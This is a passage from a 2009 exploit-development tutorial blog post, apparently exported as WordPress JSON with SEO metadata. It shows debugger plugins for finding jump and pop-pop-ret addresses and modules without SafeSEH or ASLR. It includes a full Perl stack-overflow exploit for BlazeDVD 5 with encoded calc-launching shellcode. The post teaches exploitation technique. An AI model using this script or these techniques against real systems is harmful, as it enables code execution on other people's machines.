esp) found at 0x4ece7267 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4ece728f [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4f1c5055 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4f1c50eb [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4f1c53b1 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4f1c5aeb [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4f1c5db1 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x74751873 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x7475d20f [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x748493ab [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x748820df [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x748d5223 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x755042a9 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x75fb5700 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x76b43adc [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77132372 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77156342 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77506cca [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77559bff [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x7756e37b [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x775a996b [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77963da3 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x7798a67b [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77b4b543 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77def069 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77def0d2 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77e1b52b [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77eb9d02 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77f31d8a [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x77f396f7 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x77fab227 etc...<\/pre>\n<p> Results : <\/p>\n<ul>\n<li>eip was overwritten at offset 260 from myJunk1.<\/li>\n<li>myJunk2 (A\u2019s) was found at 0x0012f460 (which is esp-10).\u00a0 So if we replaced eip with jmp esp, we can let our shellcode begin at myJunk2 + 10 bytes (or 16 characters)<\/li>\n<li>we need to remove the last 4 bytes from $junk in our script, and add the address (4 bytes) of jmp esp or call esp, which will overwrite RET.\u00a0 (Of course, you still need to verify the address\u2026). We\u2019ll use 0x035fb847 as an example (not shown in the output above, I still prefer to manually select the return addresses using memdump or findjmp - just because you cannot see the module they belong to in the output of \u2018findReturn\u2019\u2026<\/li>\n<li>we need to\n<ul>\n<li>replace the 1000 A\u2019s with shellcode<\/li>\n<li>add at least 16 NOP\u2019s before the shellcode (I have added 50 nops \u2026 If you add less, you may see shellcode corruption, which I easily detected using memDiff)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> Script : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\"><span style=\"color: #0000ff;\">my<\/span> $sploitfile=\"<span style=\"color: #8b0000;\">blazesploit.plf<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $junk = \"<span style=\"color: #8b0000;\">Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai<\/span>\"; #260 characters #$junk is now 4 byte shorter <span style=\"color: #0000ff;\">my<\/span> $ret = <span style=\"color: #0000ff;\">pack<\/span>('V',0x035fb847); #jmp esp from EqualizerProcess.dll <span style=\"color: #0000ff;\">my<\/span> $nop=\"<span style=\"color: #8b0000;\">\\x90<\/span>\" x 50; # windows\/<span style=\"color: #0000ff;\">exec<\/span> - 302 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> # Encoder: x86\/alpha_upper # EXITFUNC=seh, CMD=calc <span style=\"color: #0000ff;\">my<\/span> $shellcode=\"<span style=\"color: #8b0000;\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>\" . \"<span style=\"color: #8b0000;\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>\"; $payload =$junk.$ret.$nop.$shellcode; <span style=\"color: #0000ff;\">open<\/span> ($FILE,\"<span style=\"color: #8b0000;\">&gt;$sploitfile<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE $payload; <span style=\"color: #0000ff;\">close<\/span>($FILE);<\/pre>\n<p> &nbsp; <\/p>\n<pre class=\"csharpcode\"><a href=\"\/wp-content\/uploads\/2009\/09\/image.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb.png\" alt=\"image\" width=\"253\" height=\"179\" border=\"0\" \/><\/a><\/pre>\n<p> &nbsp; <\/p>\n<pre class=\"csharpcode\"><a href=\"\/wp-content\/uploads\/2009\/09\/image1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb1.png\" alt=\"image\" width=\"180\" height=\"119\" border=\"0\" \/><\/a><\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> <\/p>\n<h3>Ollydbg plugins<\/h3>\n<p> openrce.com has a large number of <a href=\"http:\/\/www.openrce.org\/downloads\/browse\/OllyDbg_Plugins\" target=\"_blank\" rel=\"noopener\">ollydbg plugins<\/a>. I\u2019m not going to discuss all of them, but the most important\/usefull Ollydbg plugin when writing exploits is <a href=\"http:\/\/www.openrce.org\/downloads\/details\/244\/OllySSEH\" target=\"_blank\" rel=\"noopener\">OllySEH<\/a> This plugin does an in-memory scanning of process loaded modules checking if they were compiled with \/safeseh. This means that you can only use this plugin when ollydbg is attached to the process. The plugin will help you finding the correct memory space to look for reliable\/working return addresses by listing the modules that are compiled (and the ones that are not compiled - which is even more important) with \/safeseh. Suppose you have found a SEH based vulnerability in BlazeDVD5, and you need to find a reliable \u201cpop pop ret\u201d, you can use ollyseh to find all modules that are not compiled with \/safeseh, and then look for pop pop ret instructions in that memory space : List executable modules : (E) <a href=\"\/wp-content\/uploads\/2009\/09\/image111.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image11_thumb.png\" alt=\"image\" width=\"366\" height=\"93\" border=\"0\" \/><\/a> List safeseh modules : <a href=\"\/wp-content\/uploads\/2009\/09\/image3.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb3.png\" alt=\"image\" width=\"330\" height=\"178\" border=\"0\" \/><\/a> <a href=\"\/wp-content\/uploads\/2009\/09\/image4.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb4.png\" alt=\"image\" width=\"354\" height=\"320\" border=\"0\" \/><\/a> Look for anything that has \u201cNo SEH\u201d or (even better) \u201c\/SafeSEH OFF\u201d to find memory space that can be queried for a pop pop ret instruction. Let\u2019s try c:\\program files\\Blazevideo\\BlazeDVD 5 Professional\\MediaPlayerCtrl.dll You could use findjmp to find pop pop ret instructions, or you could do it the hard way by searching for the instructions in the dll using ollydbg : Go back to the list of executable modules, find the dll and double-click it <a href=\"\/wp-content\/uploads\/2009\/09\/image5.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb5.png\" alt=\"image\" width=\"353\" height=\"179\" border=\"0\" \/><\/a> Right-click and choose \u201cSearch for\u201d - \u201cSequence of commands\u201d. Let\u2019s say you want to look for pop eax, pop &lt;something&gt;, ret, you could do a search for : <a href=\"\/wp-content\/uploads\/2009\/09\/image6.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb6.png\" alt=\"image\" width=\"90\" height=\"38\" border=\"0\" \/><\/a> (try all combinations with various registers until you find something).\u00a0 Of course, findjmp.exe will work a lot faster because you would only need to vary the first register in the pop pop ret sequence (and the register of the second pop would be located by findjmp automatically). It would indicate a lot faster that this dll does not have any usefull pop pop ret combinations and that you would need to look for another dll to use. EIther way, this plugin can save you a lot of time when writing SEH based exploits, as you will be able to find a reliable pop pop ret address faster than just by picking any dll and finding addresses using elimination. <\/p>\n<h3>Immunity Debugger (ImmDbg) plugins\/pycommands<\/h3>\n<p> Immunity debugger comes with a nice \/ large set of plugins, you can find some more useful plugins\/pycommands at the following locations : <\/p>\n<ul>\n<li><a href=\"http:\/\/www.openrce.org\/forums\/posts\/559\" target=\"_blank\" rel=\"noopener\">findtrampoline<\/a> : <a title=\"http:\/\/www.openrce.org\/forums\/posts\/559\" href=\"http:\/\/www.openrce.org\/forums\/posts\/559\">http:\/\/www.openrce.org\/forums\/posts\/559<\/a><\/li>\n<li><a href=\"http:\/\/www.openrce.org\/forums\/posts\/560\" target=\"_blank\" rel=\"noopener\">aslrdynamicbase<\/a> : <a title=\"http:\/\/www.openrce.org\/forums\/posts\/560\" href=\"http:\/\/www.openrce.org\/forums\/posts\/560\">http:\/\/www.openrce.org\/forums\/posts\/560<\/a><\/li>\n<li>funcdump<\/li>\n<li>nsearch : http:\/\/natemcfeters.blogspot.com\/2009\/02\/nsearch-new-immunitydbg-searching.html<\/li>\n<li>pvefindaddr (my own custom pycommand)<\/li>\n<\/ul>\n<p> Because of immdbg\u2019s integration with python, and well documented API, you can add\/write your own commands\/plugins. Download the .py files and put them in the pycommand folder. <\/p>\n<blockquote><p>The nice thing about ImmDbg is that it contains aliases for the windbg commands, so you can take advantage of the scripting power of immdbg, and still use the windbg command set (if you are more familiar with the windbg commands)<\/p><\/blockquote>\n<h4>Findtrampoline<\/h4>\n<p> This script offers similar functionality as findjmp or Metasploit\u2019s msfpescan tools, when used to find suitable return addresses when exploiting a classic stack overflow.\u00a0 It allows you to look for jmp &lt;reg&gt;, call &lt;reg&gt; and push &lt;reg&gt; + ret\u00a0 combinations. (It does not offer functionality to look for pop pop ret combinations though, which is possible with findjmp and msfpescan) You can invoke the findtrampoline script by opening the PyCommand window and selecting the findtrampoline script to run : <a href=\"\/wp-content\/uploads\/2009\/09\/image7.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb7.png\" alt=\"image\" width=\"338\" height=\"109\" border=\"0\" \/><\/a> <a href=\"\/wp-content\/uploads\/2009\/09\/image8.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb8.png\" alt=\"image\" width=\"342\" height=\"204\" border=\"0\" \/><\/a> Double-click, enter the register you want to look for as an argument, and click \u201cOK\u201d to start the script : <a href=\"\/wp-content\/uploads\/2009\/09\/image9.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb9.png\" alt=\"image\" width=\"200\" height=\"132\" border=\"0\" \/><\/a> Now wait for the search to complete. The search will look in all loaded modules for a jmp esp (in our example) and then display the number of trampolines\/addresses found : <a href=\"\/wp-content\/uploads\/2009\/09\/image10.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb10.png\" alt=\"image\" width=\"312\" height=\"34\" border=\"0\" \/><\/a> Alternatively, you can just run the !findtrampoline &lt;reg&gt; command at the bottom of the screen (command line) to kick of the script. <a href=\"\/wp-content\/uploads\/2009\/09\/image11.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb11.png\" alt=\"image\" width=\"126\" height=\"29\" border=\"0\" \/><\/a> Both will trigger 3 search operations to be conducted (jmp, call, and push+ret) To see the results, open the \u201cLog data\u201d window : <a href=\"\/wp-content\/uploads\/2009\/09\/image12.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb12.png\" alt=\"image\" width=\"240\" height=\"183\" border=\"0\" \/><\/a> In order to see what instruction was found, select the address and double-click. Then open the \u201cCPU\u201d window <a href=\"\/wp-content\/uploads\/2009\/09\/image13.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb13.png\" alt=\"image\" width=\"386\" height=\"115\" border=\"0\" \/><\/a> Alternatively, you could use the !searchcode command to look for f.i. jmp esp instruction : <a href=\"\/wp-content\/uploads\/2009\/09\/image14.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb14.png\" alt=\"image\" width=\"373\" height=\"240\" border=\"0\" \/><\/a> (The output will indicate the address, module (dll) and whether the instruction is in an executable page or not.)\u00a0\u00a0 Of course, the searchopcode command also works fine, but !findtrampoline will look for all working combinations (whereas searchopcode requires a specific instruction to look for) <\/p>\n<h4>aslrdynamicbase<\/h4>\n<p> This command will list all modules and indicate whether they are enabled for address space layout randomization or not (vista and 2008). This will allow you to build reliable exploits for these OS\u2019es by looking for return addresses that will have the same address even after a reboot (basically by selecting the application executable or non-aslr enabled dll memory space when looking for these addresses) This command does not require any arguments. Just run the command from a command line, and look at the ASLR \/dynamicbase table for memory locations that are not ASLR enabled\/aware. This one does not only save you time, it will simply mean the difference between being able to build a reliably working exploit and a one-shot working exploit (one that stops working after a reboot). <a href=\"\/wp-content\/uploads\/2009\/09\/image15.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb15.png\" alt=\"image\" width=\"353\" height=\"291\" border=\"0\" \/><\/a> <\/p>\n<h4>pvefindaddr<\/h4>\n<p> This is a small plugin I wrote myself.\u00a0 I will shortly discuss the following 4 operations (but the current version has many many more functions) : <a href=\"\/wp-content\/uploads\/2009\/09\/image49.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb49.png\" alt=\"image\" width=\"570\" height=\"99\" border=\"0\" \/><\/a> <\/p>\n<ul>\n<li>p : look for pop\/pop\/ret combinations (useful when building SEH based exploits)\u00a0 It will automatically filter out the modules that are safeseh protected. So the addresses you get will be not safeseh protected.\u00a0 Furthermore, it will automatically try all combinations and look in all loaded modules (so you don\u2019t have to specify a register or module.\u00a0 If you specify a register, then it will only show combinations where the register is used.\u00a0 If you specify a register and a module name, then you will obviously get all combinations where this register is used, and only from the specified module (even if that module is safeseh protected !)<\/li>\n<li>j : look for all jmp\/call\/push ret combinations (useful when building direct ret overwrite exploits). You have to specify the register to jump to, and optionally specify a module name<\/li>\n<li>jseh : this operation is useful when bypassing safeseh protections. (see tutorial series part 6).\u00a0 Again, this operation will search for all combinations automatically<\/li>\n<li>nosafeseh : show all currently loaded modules that are not safeseh protected<\/li>\n<\/ul>\n<p> Download\/more info <strong>Other pycommands &amp; command syntax<\/strong> In order to get more info on how to use the pycommands, simply run the pycommand from the command line without arguments, open the log data windows and you\u2019ll get a short help text indicating the parameters that need to be provided in order to correctly run the script. <a href=\"\/wp-content\/uploads\/2009\/09\/image16.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb16.png\" alt=\"image\" width=\"557\" height=\"123\" border=\"0\" \/><\/a> Other commands will simply open a nice wizard when they are launched without parameters (such as the !antidep command), and others will just throw an exception\u00a0 \ud83d\ude41 More information about immdbg and pycommands can be found <a href=\"http:\/\/www.immunitysec.com\/downloads\/IntelligentDebugging.pdf\" target=\"_blank\" rel=\"noopener\">here<\/a> and <a href=\"http:\/\/www.immunitysec.com\/downloads\/Debugging_With_ID.odp\" target=\"_blank\" rel=\"noopener\">here<\/a> (ImmDbg has a lot of cool scripts to help with heap based exploit development, which is out of scope for this article right now) Happy hunting ! <\/p>\n<h4>Some other cool stuff in immdbg<\/h4>\n<p> <em><strong><span style=\"text-decoration: underline;\">!packets<\/span><\/strong><\/em> Allows you to capture packets from the wire and get the function that was responsible for sending\/receiving the packets. Example : Open firefox and attach immdbg to the process. Before kicking firefox out of the debugger-enforced breakpoint, launch !packets Continue to run firefow and navigate to a website. Now go back to immdbg and observe the \u201cCaptured Packets\u201d window : <a href=\"\/wp-content\/uploads\/2009\/09\/image17.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb17.png\" alt=\"image\" width=\"530\" height=\"188\" border=\"0\" \/><\/a> <em><strong><span style=\"text-decoration: underline;\">!safeseh<\/span><\/strong><\/em> This command will list the executable modules and indicate whether they are safeseh protected or not. After running the !safeseh command, you need to open the \u201cLog Data\u201d window to see the results. <a href=\"\/wp-content\/uploads\/2009\/09\/image18.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb18.png\" alt=\"image\" width=\"415\" height=\"351\" border=\"0\" \/><\/a> <!--Digiprove_Start--><span lang=\"en\" style=\"vertical-align: middle; display: inline; padding: 3px; line-height: normal; border: 1px solid #e3e3e3; background-color: #000000;\" title=\"certified 28 November 2010 15:54:49 UTC by Digiprove certificate P68457\" xml:lang=\"en\"><a style=\"border: 0px; float: none; display: inline; text-decoration: none; background-color: transparent;\" href=\"http:\/\/www.digiprove.com\/show_certificate.aspx?id=P68457%26guid=ggyFk_v3IkGCBQ8fuHV3QQ\" target=\"_blank\" rel=\"copyright noopener\"><img decoding=\"async\" style=\"vertical-align: middle; display: inline; border: 0px; margin: 0px; float: none; background-color: transparent;\" src=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" alt=\"\" width=\"12px\" height=\"12px\" border=\"0\" \/><span style=\"font-family: Tahoma, MS Sans Serif; font-size: 9px; font-weight: normal; color: #ffffff; border: 0px; float: none; display: inline; text-decoration: none; letter-spacing: normal;\">\u00a0\u00a0Copyright secured by Digiprove\u00a0\u00a9 2010 Peter Van Eeckhoutte<\/span><\/a><!--17055261B511DA8224A863D1079D575D0FFB9C978A8412867F119E82C6DAB95B--><\/span><!--Digiprove_End--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the first parts of this exploit writing tutorial, I have mainly used Windbg as a tool to watch registers and stack contents while evaluating crashes and building exploits. Today, I will discuss some other debuggers and debugger plugins that will help you speed up this process. A typical exploit writing toolkit arsenal should at &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[3708,244,245,127],"tags":[3733,2576,2128,2124,1933,1919,1865,1834,1824,1817],"class_list":["post-2229","post","type-post","status-publish","format-standard","hentry","category-debugging","category-exploit-writing-tutorials","category-exploits","category-security","tag-exploit-development-tutorial","tag-debugging","tag-immunity-debugger","tag-debugger","tag-pycommand","tag-aslr","tag-seh","tag-shellcode","tag-metasploit","tag-eip"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"In the first parts of this exploit writing tutorial, I have mainly used Windbg as a tool to watch registers and stack contents while evaluating crashes and building exploits. Today, I will discuss some other debuggers and debugger plugins that will help you speed up this process. A typical exploit writing toolkit arsenal should at &hellip; Continue reading &quot;Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-09-05T09:35:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-23T06:19:43+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development\",\"datePublished\":\"2009-09-05T09:35:42+00:00\",\"dateModified\":\"2026-03-23T06:19:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/\"},\"wordCount\":3483,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"keywords\":[\"exploit development 